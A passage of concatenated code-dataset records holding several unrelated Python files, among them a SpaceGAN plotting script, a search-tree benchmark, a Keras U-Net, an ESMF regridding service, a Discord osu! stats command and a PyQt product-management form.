neighbour_list + output_vars)\ngan_samples_df[cond_vars + neighbour_list] = cond_input\ngan_samples_df[output_vars] = target\nfor i in range(check_config[\"n_samples\"]):\n # gan_samples_df[\"sample_\" + str(i)] = iter_spacegan.predict(gan_samples_df[cond_vars + neighbour_list])\n gan_samples_df[\"sample_\" + str(i)] = iter_spacegan.predict(cond_input)\n\n# generate chart\nfig, ax1 = plt.subplots(1, 1, figsize=(7, 5))\ngen_seq = gan_samples_df[[\"sample_\" + str(x) for x in range(1)]].mean(axis=1)\nnorm_gan_mean = (gen_seq - min(gen_seq)) / (max(gen_seq) - min(gen_seq))\ncolors = cm.rainbow(norm_gan_mean)\n\n# plotting\nfor lat, long, c in zip(df[\"latitude\"], df[\"longitude\"], colors):\n ax1.scatter(lat, long, color=c, s=5)\nax1.set_xlabel(r'$c^{(1)}$', fontsize=14)\nax1.set_ylabel(r'$c^{(2)}$', fontsize=14)\nax1.set_title(\"SpaceGAN (RMSE) - Iteration \" + str(iteration))\nfig.savefig(fig_save_prefix+'p4_noaa.png')\n\n\n\n\n# iteration = 8000\niteration = 1000\n\n# get and set best space gan\niter_spacegan = get_spacegan_config(iteration, prob_config, check_config, cond_input, target)\n\n#load mie selection results\n# gan_samples_df = pd.read_pickle(model_save_prefix+\"grid_MIE.pkl.gz\") #is this line not needed??\n# gan_samples_df = pd.read_pickle(\"./grid_MIE.pkl.gz\") \n\n# training samples\ngan_samples_df = pd.DataFrame(index=range(cond_input.shape[0]), columns=cond_vars + neighbour_list + output_vars)\ngan_samples_df[cond_vars + neighbour_list] = cond_input\ngan_samples_df[output_vars] = target\nfor i in range(check_config[\"n_samples\"]):\n gan_samples_df[\"sample_\" + str(i)] = iter_spacegan.predict(cond_input)\n \n# generate chart\nfig, ax1 = plt.subplots(1, 1, figsize=(7, 5))\ngen_seq = gan_samples_df[[\"sample_\" + str(x) for x in range(1)]].mean(axis=1)\nnorm_gan_mean = (gen_seq - min(gen_seq)) / (max(gen_seq) - min(gen_seq))\ncolors = cm.rainbow(norm_gan_mean)\n\n# plotting\nfor lat, long, c in zip(df[\"latitude\"], df[\"longitude\"], colors):\n ax1.scatter(lat, long, color=c, s=5)\nax1.set_xlabel(r'$c^{(1)}$', fontsize=14)\nax1.set_ylabel(r'$c^{(2)}$', fontsize=14)\nax1.set_title(\"SpaceGAN (MIE) - Iteration \" + str(iteration))\nfig.savefig(fig_save_prefix+'p5_noaa.png')\n\n\n\n\n#Load loss data\nloss_df = pd.read_pickle(model_save_prefix+\"grid_spaceganlosses.pkl.gz\")\n# loss_df = pd.read_pickle(\"./grid_spaceganlosses.pkl.gz\")\n\n#Plot losses and selection criteria side by side\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(15, 5))\n\nloss_df.plot(ax=ax1,alpha=0.7)\nax1.set_title(\"Generator and Discriminator loss during training\")\n\ngan_metrics_norm = gan_metrics[\"agg_metrics\"]\ngan_metrics_norm[\"RMSE\"] = 2 - (np.array(gan_metrics_norm[\"RMSE\"]) / max(np.array(gan_metrics_norm[\"RMSE\"]))) #Normalize RMSE metric for better comparison\ngan_metrics_norm.plot(ax=ax2)\nax2.set_title(\"Selection criteria during training\")\nfig.savefig(fig_save_prefix+'p6_noaa.png')\n","sub_path":"toy_noaa.py","file_name":"toy_noaa.py","file_ext":"py","file_size_in_byte":10691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"142481385","text":"from bst import BST\nfrom avl import AVL\nfrom rb import RedBlackTree\nfrom string import ascii_letters\nfrom random import seed, shuffle, choices\nimport itertools\nfrom collections import defaultdict\nfrom time import time\nimport tracemalloc\n\nseed(714)\n\n\ndef get_random_string(n):\n arr = choices(ascii_letters, k=n)\n return \"\".join(arr)\n\n\ndef get_key_list(key_type, num_of_key):\n key_list = []\n if key_type == \"int\":\n for i in range(1, num_of_key + 1):\n key_list.append(i)\n else:\n n = 52\n for i in range(1, n + 1):\n for i, item in enumerate(itertools.product(ascii_letters, repeat=i)):\n key_list.append(item)\n if len(key_list) == num_of_key:\n break\n if len(key_list) == num_of_key:\n break\n return key_list\n\n\ndef get_val_list(val_size, num_of_key):\n val_list = []\n for i in range(num_of_key):\n val_list.append(get_random_string(val_size))\n return val_list\n\n\ndef perform_benchmark_insert(tree_list, key_list, val_list, time_dict):\n for tree in tree_list:\n time1 = time()\n for i in range(len(key_list)):\n ret = tree.insert(key_list[i], data=val_list[i])\n assert ret is True\n time2 = time()\n time_dict[\"insert\"][tree.__class__.__name__] = time2 - time1\n\n\ndef perform_benchmark_search(tree_list, key_list, val_list, time_dict):\n for tree in tree_list:\n time1 = time()\n for i in range(len(key_list)):\n ret, att = tree.search(key_list[i])\n assert ret is True and att['data'] == val_list[i]\n time2 = time()\n time_dict[\"search\"][tree.__class__.__name__] = time2 - time1\n\n\ndef perform_benchmark_search_update(tree_list, key_list, val_list, time_dict, new_list):\n for tree in tree_list:\n time1 = time()\n for i in range(len(key_list)):\n ret, att = tree.search(key_list[i])\n assert ret is True and att['data'] == val_list[i]\n ret = tree.update(key_list[i], data=new_list[i])\n assert ret is True\n time2 = time()\n time_dict[\"search_update\"][tree.__class__.__name__] = time2 - time1\n\n\ndef perform_benchmark_delete(tree_list, key_list, val_dict, time_dict):\n for tree in tree_list:\n time1 = time()\n for i in range(len(key_list)):\n ret, att = tree.delete(key_list[i])\n assert ret is True and att['data'] == val_dict[key_list[i]]\n time2 = time()\n time_dict[\"delete\"][tree.__class__.__name__] = time2 - time1\n\n\ndef perform_benchmark(key_type, num_of_key, val_size,\n insert_type, search_type,\n search_update_type, delete_type):\n tree_list = [BST(), AVL(), RedBlackTree()]\n key_list, val_list = get_key_list(key_type, num_of_key), get_val_list(val_size, num_of_key)\n new_val_list = get_val_list(val_size, num_of_key)\n zip_key_val = list(zip(key_list, val_list))\n shuffle(zip_key_val)\n ran_key_list, ran_val_list = zip(*zip_key_val)\n zip_key_val = []\n time_dict = defaultdict(lambda: {})\n if insert_type == \"seq\":\n perform_benchmark_insert(tree_list, key_list, val_list, time_dict)\n else:\n perform_benchmark_insert(tree_list, ran_key_list, ran_val_list, time_dict)\n if search_type == \"seq\":\n perform_benchmark_search(tree_list, key_list, val_list, time_dict)\n else:\n perform_benchmark_search(tree_list, ran_key_list, ran_val_list, time_dict)\n if search_update_type == \"seq\":\n perform_benchmark_search_update(tree_list, key_list, val_list, time_dict, new_val_list)\n new_val_dict = {}\n for i, key in enumerate(key_list):\n new_val_dict[key] = new_val_list[i]\n else:\n perform_benchmark_search_update(tree_list, ran_key_list, ran_val_list, time_dict, new_val_list)\n new_val_dict = {}\n for i, key in enumerate(ran_key_list):\n new_val_dict[key] = new_val_list[i]\n val_list = []\n ran_val_list = []\n # at this step, the data in the tree has been replaced to data in new_val_list\n if delete_type == \"seq\":\n perform_benchmark_delete(tree_list, key_list, new_val_dict, time_dict)\n else:\n perform_benchmark_delete(tree_list, ran_key_list, new_val_dict, time_dict)\n\n return time_dict\n\n\ndef validate_parameters(key_type, num_of_key, val_size,\n insert_type, search_type,\n search_update_type, delete_type):\n assert key_type in [\"int\", \"str\"]\n assert 0 < num_of_key <= 1600000\n assert 0 < val_size <= 1024\n for i in (insert_type, search_type, search_update_type, delete_type):\n assert i in [\"seq\", \"ran\"]\n\n\ndef print_parameters(key_type, num_of_key, val_size,\n insert_type, search_type,\n search_update_type, delete_type):\n result_str = (f\"key_type \\t{key_type} \\n\"\n f\"num_of_key \\t{num_of_key} \\n\"\n f\"val_size \\t{val_size} \\n\"\n f\"insert_type \\t{insert_type} \\n\"\n f\"search_type \\t{search_type} \\n\"\n f\"search_update_type \\t{search_update_type}\\n\"\n f\"delete_type \\t{delete_type} \\n\")\n return result_str\n\n\ndef benchmark_main(key_type, num_of_key, val_size,\n insert_type, search_type,\n search_update_type, delete_type):\n validate_parameters(key_type, num_of_key, val_size,\n insert_type, search_type,\n search_update_type, delete_type)\n time_dict = perform_benchmark(key_type, num_of_key, val_size,\n insert_type, search_type,\n search_update_type, delete_type)\n return time_dict\n\n\ndef benchmark_main_wrapper(key_type, num_of_key, val_size,\n insert_type, search_type,\n search_update_type, delete_type):\n # p = print_parameters(key_type, num_of_key, val_size,\n # insert_type, search_type,\n # search_update_type, delete_type)\n tracemalloc.start()\n time_dict = benchmark_main(key_type, num_of_key, val_size,\n insert_type, search_type,\n search_update_type, delete_type)\n snapshot = tracemalloc.take_snapshot()\n top_stats = snapshot.statistics('lineno')\n\n # return time_dict\n return time_dict, top_stats\n\n\ndef print_td(td):\n for k, k_dict in td.items():\n print(k)\n # print()\n for tree, time in k_dict.items():\n print(\"\\t\", tree, \"\\t\", time)\n # print(time)\n\n\nif __name__ == '__main__':\n for sz in [32, 64, 256, 512, 1024]:\n td, ts = benchmark_main_wrapper(\"str\", 100, sz, \"ran\", \"ran\", \"ran\", \"ran\")\n print_td(td)\n","sub_path":"web/impl/bmk.py","file_name":"bmk.py","file_ext":"py","file_size_in_byte":6960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"133108589","text":"import tensorflow as tf\nimport numpy as np\nfrom tensorflow.keras.models import Model, load_model\nfrom tensorflow.keras.layers import Input, Concatenate\nfrom tensorflow.keras.layers import Conv2D, MaxPool2D, BatchNormalization\nfrom tensorflow.keras.layers import Dropout, Activation, UpSampling2D\n\ndef conv_block(filters, x):\n x = Conv2D(filters=filters, \n kernel_size=(3,3), \n padding='valid', \n activation='relu')(x)\n\n x = BatchNormalization()(x)\n\n x = Conv2D(filters=filters, \n kernel_size=(3,3), \n padding='valid', \n activation='relu')(x)\n out = BatchNormalization()(x)\n return out \n\n\ndef down_sample(filters, x):\n x = MaxPool2D((2,2))(x)\n out = conv_block(filters, x)\n return out\n\n\ndef up_sample(filters, x, x1):\n x = UpSampling2D((2, 2))(x)\n x = Concatenate()(x1, x)\n out = conv_block(filters, x)\n\nclass Unet(Model):\n def __init__(self):\n super(Unet, self).__init__()\n pool = MaxPool2D((2,2))\n def call(self, x):\n # Encoder \n print(x)\n down1 = conv_block(64, x)\n down2 = down_sample(128, down1)\n down3 = down_sample(256, down2)\n down4 = down_sample(512, down3)\n down5 = down_sample(1024, down4)\n\n # Decoder\n up1 = up_sample(512, down5, down4)\n up2 = up_sample(256, up1, down3)\n up3 = up_sample(128, up2, down2)\n up4 = up_sample(64, up3, down1)\n\n out = Conv2D(filters=1, \n kernel_size=(1,1),\n padding='valid',\n activation='sigmoid')\n\n return out\n\nimage = np.zeros((1, 572, 572, 3))\nimg_tensor = tf.image.convert_image_dtype(image, dtype=tf.float16)\n\nmodel = Unet()\nmodel(img_tensor)\nmodel.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])\nmodel.summary()\n\n\n \n\n\n","sub_path":"Deep Learning/CNN/Unet/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"439627199","text":"import numpy\n\nimport scipy\nimport scipy.linalg\nimport scipy.special\nimport scipy.ndimage\n\nimport cupy\n\nimport cupyx.scipy\nimport cupyx.scipy.linalg\nimport cupyx.scipy.ndimage\nimport cupyx.scipy.special\n\n\ndef _get_functions(obj):\n return set([\n n for n in dir(obj)\n if (n not in ['test'] # not in blacklist\n and callable(getattr(obj, n)) # callable\n and not isinstance(getattr(obj, n), type) # not class\n and n[0].islower() # starts with lower char\n and not n.startswith('__') # not special methods\n )\n ])\n\n\ndef _generate_comparison_rst(base_obj, cupy_obj, base_type):\n base_funcs = _get_functions(eval(base_obj))\n cp_funcs = _get_functions(eval(cupy_obj))\n\n buf = []\n buf += [\n '.. csv-table::',\n ' :header: {}, CuPy'.format(base_type),\n '',\n ]\n for f in sorted(base_funcs):\n if f in cp_funcs:\n line = r' :obj:`{0}.{1}`, :obj:`{2}.{1}`'.format(\n base_obj, f, cupy_obj)\n else:\n line = r' :obj:`{0}.{1}`, \\-'.format(base_obj, f)\n buf.append(line)\n\n buf += [\n '',\n '.. Summary:',\n ' Number of NumPy functions: {}'.format(len(base_funcs)),\n ' Number of functions covered by CuPy: {}'.format(\n len(cp_funcs & base_funcs)),\n ' CuPy specific functions:',\n ] + [\n ' - {}'.format(f) for f in (cp_funcs - base_funcs)\n ]\n return buf\n\n\ndef _section(header, base_obj, cupy_obj, base_type='NumPy'):\n return [\n header,\n '~' * len(header),\n '',\n ] + _generate_comparison_rst(base_obj, cupy_obj, base_type) + [\n '',\n ]\n\n\ndef generate():\n buf = []\n\n buf += [\n 'NumPy / CuPy APIs',\n '-----------------',\n '',\n ]\n buf += _section(\n 'Module-Level',\n 'numpy', 'cupy')\n buf += _section(\n 'Multi-Dimensional Array',\n 'numpy.ndarray', 'cupy.ndarray')\n buf += _section(\n 'Linear Algebra',\n 'numpy.linalg', 'cupy.linalg')\n buf += _section(\n 'Discrete Fourier Transform',\n 'numpy.fft', 'cupy.fft')\n buf += _section(\n 'Random Sampling',\n 'numpy.random', 'cupy.random')\n\n buf += [\n 'SciPy / CuPy APIs',\n '-----------------',\n '',\n ]\n buf += _section(\n 'Sparse Matrices',\n 'scipy.sparse', 'cupyx.scipy.sparse', 'SciPy')\n buf += _section(\n 'Sparse Linear Algebra',\n 'scipy.linalg', 'cupyx.scipy.linalg', 'SciPy')\n buf += _section(\n 'Multidimensional Image Processing',\n 'scipy.ndimage', 'cupyx.scipy.ndimage', 'SciPy')\n buf += _section(\n 'Special Functions',\n 'scipy.special', 'cupyx.scipy.special', 'SciPy')\n\n return '\\n'.join(buf)\n","sub_path":"docs/source/_comparison_generator.py","file_name":"_comparison_generator.py","file_ext":"py","file_size_in_byte":2807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"507210564","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 31 17:34:15 2019\n\n@author: John\n\"\"\"\n\n#%% Ejercicio 3: Eigenvalor dominante (1er valor propio) de una matriz.\n\nfrom numpy import linalg as lng\nimport numpy as np\n\ndef maxEigValue(A, x0, tol):\n x = A*x0\n d = np.max(np.abs(x))\n x = np.divide(x, d)\n \n while (lng.norm(x - x0) > tol):\n x0 = x\n x = A*x0\n d = np.max(np.abs(x))\n x = np.divide(x, d)\n \n d = np.round(d, 2)\n x = np.round(x, 2)\n \n return d, x\n\n\nD = np.matrix([[1,-3,8],[2,-5,9],[3,-6,10]], 'float')\n\nx0 = np.ones((3,1))\ntol = 1e-3\n\nd, x, = maxEigValue(D, x0, tol)\n\nX = lng.eig(D)\nnp.round(np.real(np.max(X[0])),2)\n\nprint(f\"El valor propio d = {d}, coincide con el calculado por \" +\n f\"eig(D) = {np.round(np.real(np.max(X[0])),2)}.\")\n\n# Observación: en lugar de indicar el número de iteraciones, estas son\n# definidas por el programa de acuerdo a la comparación entre la\n# tolerancia y la aproximación (diferencia) entre el valor\n# calculado para x y el de la iteración anterior.\n# Esto se hace para evitar gastar ciclos innecesariamente cuando\n# se busca un decimal de precisión en el resultado.","sub_path":"Ejercicio 3.py","file_name":"Ejercicio 3.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"613126036","text":"from discord.ext import commands\nfrom time import time\nimport discord\n\n\nclass Osu(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n self.baseurl = 'https://lemmmy.pw/osusig/sig.php?'\n\n @commands.guild_only()\n @commands.command(aliases=['osu'])\n async def osustats(self, ctx, *, osuplayer: str = None):\n if not osuplayer:\n embed = discord.Embed(\n description=\"**\" + ctx.author.name +\n \"** you need to tell me a username!\",\n color=0xff0000)\n await ctx.send(embed=embed)\n else:\n embed = discord.Embed(color=0x00ff00)\n embed.set_author(\n name=f\"{osuplayer}'s Stats\",\n url=f\"https://osu.ppy.sh/u/{osuplayer}\",\n icon_url=\"https://s.ppy.sh/images/head-logo.png\")\n embed.set_footer(text=\"Osu stats\")\n query = (\n f'colour=hexff66aa&uname={osuplayer}&pp=1&countryrank'\n '&flagshadow&flagstroke&opaqueavatar&avatarrounding=5&'\n f'onlineindicator=undefined&xpbar&xpbarhex&random={time()}')\n\n embed.set_image(url=f'{self.baseurl}{query}')\n print(f'{self.baseurl}{query}')\n await ctx.send(embed=embed)\n\n\ndef setup(bot):\n bot.add_cog(Osu(bot))\n","sub_path":"cogs/osu.py","file_name":"osu.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"175069014","text":"import os\nimport contextlib\nimport time\nfrom inaugurator import sh\n\n\nclass DiskOnKey:\n _MOUNT_POINT = \"/sourceDOK\"\n\n def __init__(self):\n self._device = self._findDevice()\n self._partiton = self._device + \"1\"\n\n @contextlib.contextmanager\n def mount(self):\n os.makedirs(self._MOUNT_POINT)\n sh.run(\"busybox modprobe vfat\")\n sh.run(\"/usr/sbin/busybox mount -t vfat -o ro %s %s\" % (\n self._partiton, self._MOUNT_POINT))\n yield self._MOUNT_POINT\n sh.run(\"/usr/sbin/busybox umount %s\" % self._MOUNT_POINT)\n\n def _findDevice(self):\n sh.run(\"busybox modprobe usb_storage\")\n for i in xrange(10):\n try:\n return self._findDeviceOnce()\n except:\n time.sleep(1)\n sh.run(\"/usr/sbin/busybox mdev -s\")\n return self._findDeviceOnce()\n\n def _findDeviceOnce(self):\n for letter in ['a', 'b', 'c', 'd', 'e', 'f']:\n candidate = \"/dev/sd%s\" % letter\n if not os.path.exists(candidate):\n continue\n if self._deviceSizeGB(candidate) > 32:\n continue\n return candidate\n raise Exception(\"Unable to find a device that looks like a DOK\")\n\n def _deviceSizeGB(self, device):\n return int(sh.run(\"sfdisk -s %s\" % device)) / 1024 / 1024\n","sub_path":"inaugurator/diskonkey.py","file_name":"diskonkey.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"262203551","text":"# TODO: Rename this file \"wps_esmf_process\"\nimport logging\nimport os\n\nimport ESMF\nimport ocgis\nfrom eggshell.log import init_process_logger\nfrom pywps import ComplexInput, ComplexOutput\nfrom pywps import Format, configuration, get_format\nfrom pywps import LiteralInput\nfrom pywps import Process\nfrom pywps.app.Common import Metadata\n\nfrom flyingpigeon.utils import archiveextract\nfrom flyingpigeon.utils import rename_complexinputs\n\nLOGGER = logging.getLogger(\"PYWPS\")\n\njson_format = get_format('JSON')\n\n# Supported interpolation methods\nmethods = list(map(str.lower, ESMF.RegridMethod.__members__.keys()))\n\n\ndef extract_doc():\n \"\"\"Format the documentation about the ESMF regridding methods.\"\"\"\n import inspect\n import re\n\n source = inspect.getsource(ESMF.RegridMethod)\n doc = source.replace('\"\"\"', '')\n\n def title(match):\n [name] = match.groups()\n n = len(name)\n return '\\n ' + name + '\\n ' + n * '~'\n\n doc = re.sub('(\\w+) = \\d', title, doc)\n lines = doc.splitlines()[3:]\n lines.insert(0, ' Notes')\n lines.insert(1, ' -----')\n\n return '\\n'.join(lines)\n\n\ndef actual_output_path(fn):\n \"\"\"Return the path to an output file, adjusting for whether or not the server is active or not.\n\n Example\n -------\n On a local server it would yield something like::\n\n http://localhost:8090/wpsoutputs/flyingpigeon/af06fb/af06fb.nc\n\n While in test mode it would yield::\n\n file:///tmp/af06fb/af06fb.nc\n\n \"\"\"\n outputurl = configuration.get_config_value('server', 'outputurl')\n outputpath = configuration.get_config_value('server', 'outputpath')\n\n return os.path.join(outputurl, os.path.relpath(fn, outputpath))\n\n\nclass ESMFRegridProcess(Process):\n \"\"\"\n Notes\n -----\n\n Bilinear\n Destination value is a linear combination of the\n source values in the cell which contains the destination point. The weights\n for the linear combination are based on the distance of the destination\n point from each source value.\n\n Patch\n Higher-order patch recovery interpolation. Destination value is a weighted\n average of 2D polynomial patches constructed from cells surrounding the\n source cell which contains the destination point. This method typically\n results in better approximations to values and derivatives than bilinear.\n However, because of its larger stencil, it also results in a much larger\n interpolation matrix than the bilinear method.\n\n Conserve\n First order conservative interpolation. Value of a destination cell is the\n weighted sum of the values of the source cells that it overlaps. The\n weights are determined by the amount the source cell overlaps the\n destination cell. This method will typically give less accurate\n approximations to values than the other interpolation methods, however, it\n will do a much better job preserving the integral of the value between the\n source and destination. This method requires the corner coordinate values\n to be provided in the Grid, and it currently only works for Fields created\n on the Grid center stagger (or the Mesh element location).\n\n Nearest_STOD\n In this version of nearest neighbor interpolation each destination point is\n mapped to the closest source point. A given source point may go to multiple\n destination points, but no destination point will receive input from more\n than one source point.\n\n Nearest_DTOS\n In this version of nearest neighbor interpolation each source point is\n mapped to the closest destination point. A given destination point may\n receive input from multiple source points, but no source point will go to\n more than one destination point.\n \"\"\"\n\n def __init__(self):\n inputs = [\n ComplexInput('resource', 'Resource',\n abstract='NetCDF Files or archive (tar/zip) containing NetCDF files.',\n metadata=[Metadata('Info')],\n min_occurs=1,\n max_occurs=1000,\n supported_formats=[\n Format('application/x-netcdf'),\n Format('application/x-tar'),\n Format('application/zip'),\n ]),\n\n ComplexInput('dest', 'Grid destination',\n abstract='NetCDF file whose grid defines the interpolation target.',\n metadata=[Metadata('Info')],\n min_occurs=1,\n max_occurs=1,\n supported_formats=[\n Format('application/x-netcdf'),\n Format('application/x-tar'),\n Format('application/zip'),\n ]),\n\n LiteralInput(\"method\", \"Regridding method\",\n abstract=\"Regridding method. Note that `conserve` requires grid corners to be defined.\",\n default=\"bilinear\",\n allowed_values=methods,\n data_type='string',\n min_occurs=0,\n max_occurs=1,\n ),\n\n LiteralInput(\"snippet\", \"Snippet\",\n abstract=\"Run process only for first time step.\",\n default=\"False\",\n data_type=\"boolean\",\n min_occurs=0,\n max_occurs=1)\n ]\n outputs = [\n ComplexOutput('output_log', 'Logging information',\n abstract=\"Collected logs during process run.\",\n as_reference=True,\n supported_formats=[Format('text/plain')]\n ),\n\n ComplexOutput('output', 'Links to regridded dataset',\n abstract=\"JSON file listing the regridded netCDF URLs.\",\n as_reference=True,\n supported_formats=[json_format]\n ),\n\n ComplexOutput('output_netcdf', 'NetCDF file',\n abstract=\"First NetCDF file generated by process.\",\n as_reference=True,\n supported_formats=[Format('application/x-netcdf')]\n ),\n ]\n\n super(ESMFRegridProcess, self).__init__(\n self._handler,\n identifier=\"esmf_regrid\",\n title=\"ESMF regridding\",\n abstract='Regrid netCDF files to a destination grid.',\n version=\"0.10\",\n metadata=[\n Metadata('Doc', 'http://flyingpigeon.readthedocs.io/en/latest/'),\n ],\n inputs=inputs,\n outputs=outputs,\n status_supported=True,\n store_supported=True,\n )\n\n def _handler(self, request, response):\n import uuid\n import time\n import json\n outputpath = configuration.get_config_value('server', 'outputpath')\n init_process_logger('log.txt')\n response.outputs['output_log'].file = 'log.txt'\n\n # -------------- #\n # Input handling #\n # -------------- #\n resource = archiveextract(\n resource=rename_complexinputs(request.inputs['resource']))\n LOGGER.info(\"resource: %s \" % resource)\n\n dest = archiveextract(\n resource=rename_complexinputs(request.inputs['dest']))\n LOGGER.info(\"dest: %s \" % dest)\n\n method = request.inputs['method'][0].data\n LOGGER.info(\"method: %s \" % method)\n\n snippet = request.inputs['snippet'][0].data\n LOGGER.info(\"snippet: %s \" % snippet)\n\n # -------------------- #\n # Regridding operation #\n # -------------------- #\n d = ocgis.RequestDataset(dest)\n m = getattr(ESMF.RegridMethod, method.upper())\n LOGGER.info('Start ocgis module call function')\n\n # Prepare the environment\n ocgis.env.OVERWRITE = True\n prefix = str(uuid.uuid1())\n ocgis.env.PREFIX = prefix\n\n outputs = []\n for source in resource:\n s = ocgis.RequestDataset(source)\n ops = ocgis.OcgOperations(dataset=s, regrid_destination=d, regrid_options={'regrid_method': m},\n snippet=snippet,\n dir_output=outputpath, output_format='nc', prefix=prefix\n )\n outputs.append(ops.execute())\n\n response.outputs['output_netcdf'].file = outputs[0]\n\n time_str = time.strftime(\"%Y-%m-%dT%H:%M:%SZ\", time.gmtime())\n output_json = \"esmf_regrid_results_{}.json\".format(time_str)\n with open(output_json, 'w') as f:\n f.write(json.dumps([actual_output_path(o) for o in outputs]))\n\n response.outputs['output'].file = output_json\n response.outputs['output'].output_format = json_format\n return response\n","sub_path":"flyingpigeon/processes/wps_regrid.py","file_name":"wps_regrid.py","file_ext":"py","file_size_in_byte":9157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"227523140","text":"from PyQt5 import uic\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import QWidget, QAbstractItemView, QHeaderView, QTableWidgetItem, QAction, QMessageBox\n\nfrom CoffeeApp.application_coffee_practice.dao.product_dao import ProductDao\nfrom CoffeeApp.application_coffee_practice.ui.sale import SaleUI\nfrom CoffeeApp.application_coffee_practice.ui.saledetail import SaledetailUI\n\n\nclass ProductUI(QWidget):\n def __init__(self):\n super().__init__()\n self.ui = uic.loadUi(\"ui/product.ui\") # 밖에 있는 main에서 실행할때\n self.ui.show()\n self.Product = ProductDao()\n self.ui.tableWidget.setHorizontalHeaderLabels([\"코드\", \"제품\"]) # 바로 넣어 주기\n # row단위 선택 / 그전에는 셀 단위로 선택 되었음\n self.ui.tableWidget.setSelectionBehavior(QAbstractItemView.SelectRows)\n # 수정 불가능\n self.ui.tableWidget.setEditTriggers(QAbstractItemView.NoEditTriggers)\n # 균일한 간격으로 재배치\n self.ui.tableWidget.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch)\n self.ui.btn_search.clicked.connect(self.select_item)\n self.ui.btn_add.clicked.connect(self.add_item)\n self.ui.btn_update.clicked.connect(self.update_item)\n self.ui.btn_del.clicked.connect(self.delete_item)\n self.ui.btn_init.clicked.connect(self.init_item)\n self.ui.btn_sale.clicked.connect(self.show_sale) # 가격조정show\n self.ui.btn_saledetail.clicked.connect(self.show_saledetail) # 판매세부내역show\n self.ui.btn_update.hide()\n self.load_data(self.Product.select_item())\n # 마우스 우클릭시 메뉴\n self.set_context_menu(self.ui.tableWidget)\n\n def init_item(self):\n self.ui.le_code.clear()\n self.ui.le_name.clear()\n self.ui.btn_add.show()\n self.ui.btn_del.show()\n self.ui.btn_init.show()\n self.ui.btn_search.show()\n self.ui.le_code.setEnabled(True)\n self.ui.le_name.setEnabled(True)\n self.load_data(self.Product.select_item())\n\n def show_sale(self):\n self.show_sale = SaleUI() # 창은 생성해두\n\n def show_saledetail(self):\n self.show_saledetail = SaledetailUI()\n\n def __update(self):\n QMessageBox.information(self, '수정', \"수정할 자료를 불러오겠습니다.\", QMessageBox.Ok)\n selectionIdxs = self.ui.tableWidget.selectedIndexes()[0]\n self.ui.le_code.setText(self.ui.tableWidget.item(selectionIdxs.row(), 0).text())\n self.ui.le_name.setText(self.ui.tableWidget.item(selectionIdxs.row(), 1).text())\n self.ui.btn_update.show()\n self.ui.le_code.setEnabled(False)\n # self.ui.le_name.setEnabled(True)\n self.ui.btn_add.hide()\n self.ui.btn_del.hide()\n self.ui.btn_init.hide()\n self.ui.btn_search.hide()\n\n def __delete(self):\n QMessageBox.information(self, '삭제', \"삭제 하겠습니다.\", QMessageBox.Ok)\n selectionIdxs = self.ui.tableWidget.selectedIndexes()[0] # 여러개중 하나 선택하기\n\n def set_context_menu(self,tv):\n tv.setContextMenuPolicy(Qt.ActionsContextMenu) # 바로가기 메뉴를 달겠다.\n update_action = QAction(\"수정할 자료 불러오기\", tv)\n tv.addAction(update_action) # 마우스 우 클릭시 Qaction실행\n update_action.triggered.connect(self.__update)\n\n def get_item_from_le(self):\n code = self.ui.le_code.text()\n name = self.ui.le_name.text()\n return self.create_item(code, name)\n\n def create_item(self, code, name):\n item_code = QTableWidgetItem()\n item_code.setTextAlignment(Qt.AlignCenter) # Qt Core\n item_code.setData(Qt.DisplayRole, code)\n item_name = QTableWidgetItem()\n item_name.setTextAlignment(Qt.AlignCenter)\n item_name.setData(Qt.DisplayRole, name)\n return item_code, item_name\n\n def load_data(self, data):\n self.ui.tableWidget.setRowCount(0) # 행 초기화\n for idx, (code, name) in enumerate(data): # enumerate 0, 1, 2 담긴다\n item_code, item_name = self.create_item(code, name)\n nextIdx = self.ui.tableWidget.rowCount()\n self.ui.tableWidget.insertRow(nextIdx)\n self.ui.tableWidget.setItem(nextIdx, 0, item_code)\n self.ui.tableWidget.setItem(nextIdx, 1, item_name)\n\n def add_item(self):\n item_code, item_name = self.get_item_from_le() # 밑에서 받아오기\n currentIdx = self.ui.tableWidget.rowCount()\n self.ui.tableWidget.insertRow(currentIdx) # Row 추가\n self.Product.insert_item(self.ui.le_code.text(), self.ui.le_name.text())\n self.init_item()\n self.load_data(self.Product.select_item())\n QMessageBox.information(self, '추가', \"추가 되었습니다.\", QMessageBox.Ok)\n\n def update_item(self):\n item_code, item_name = self.get_item_from_le() # 밑에서 받아오기\n selectionIdxs = self.ui.tableWidget.selectedIndexes()[0]\n self.Product.update_item(self.ui.le_name.text(), self.ui.le_code.text() )\n self.load_data(self.Product.select_item())\n self.init_item()\n self.ui.btn_update.hide()\n QMessageBox.information(self, '수정', \"수정 되었습니다.\", QMessageBox.Ok)\n\n def delete_item(self):\n selectionIdxs = self.ui.tableWidget.selectedIndexes()[0] # 여러개중 하나 선택하기\n self.Product.delete_item(self.ui.tableWidget.item(selectionIdxs.row(), 0).text())\n self.init_item()\n self.load_data(self.Product.select_item())\n QMessageBox.information(self, '삭제', \"삭제 되었습니다.\", QMessageBox.Ok)\n\n def select_item(self):\n item_code, item_name = self.get_item_from_le() # 밑에서 받아오기\n currentIdx = self.ui.tableWidget.rowCount()\n 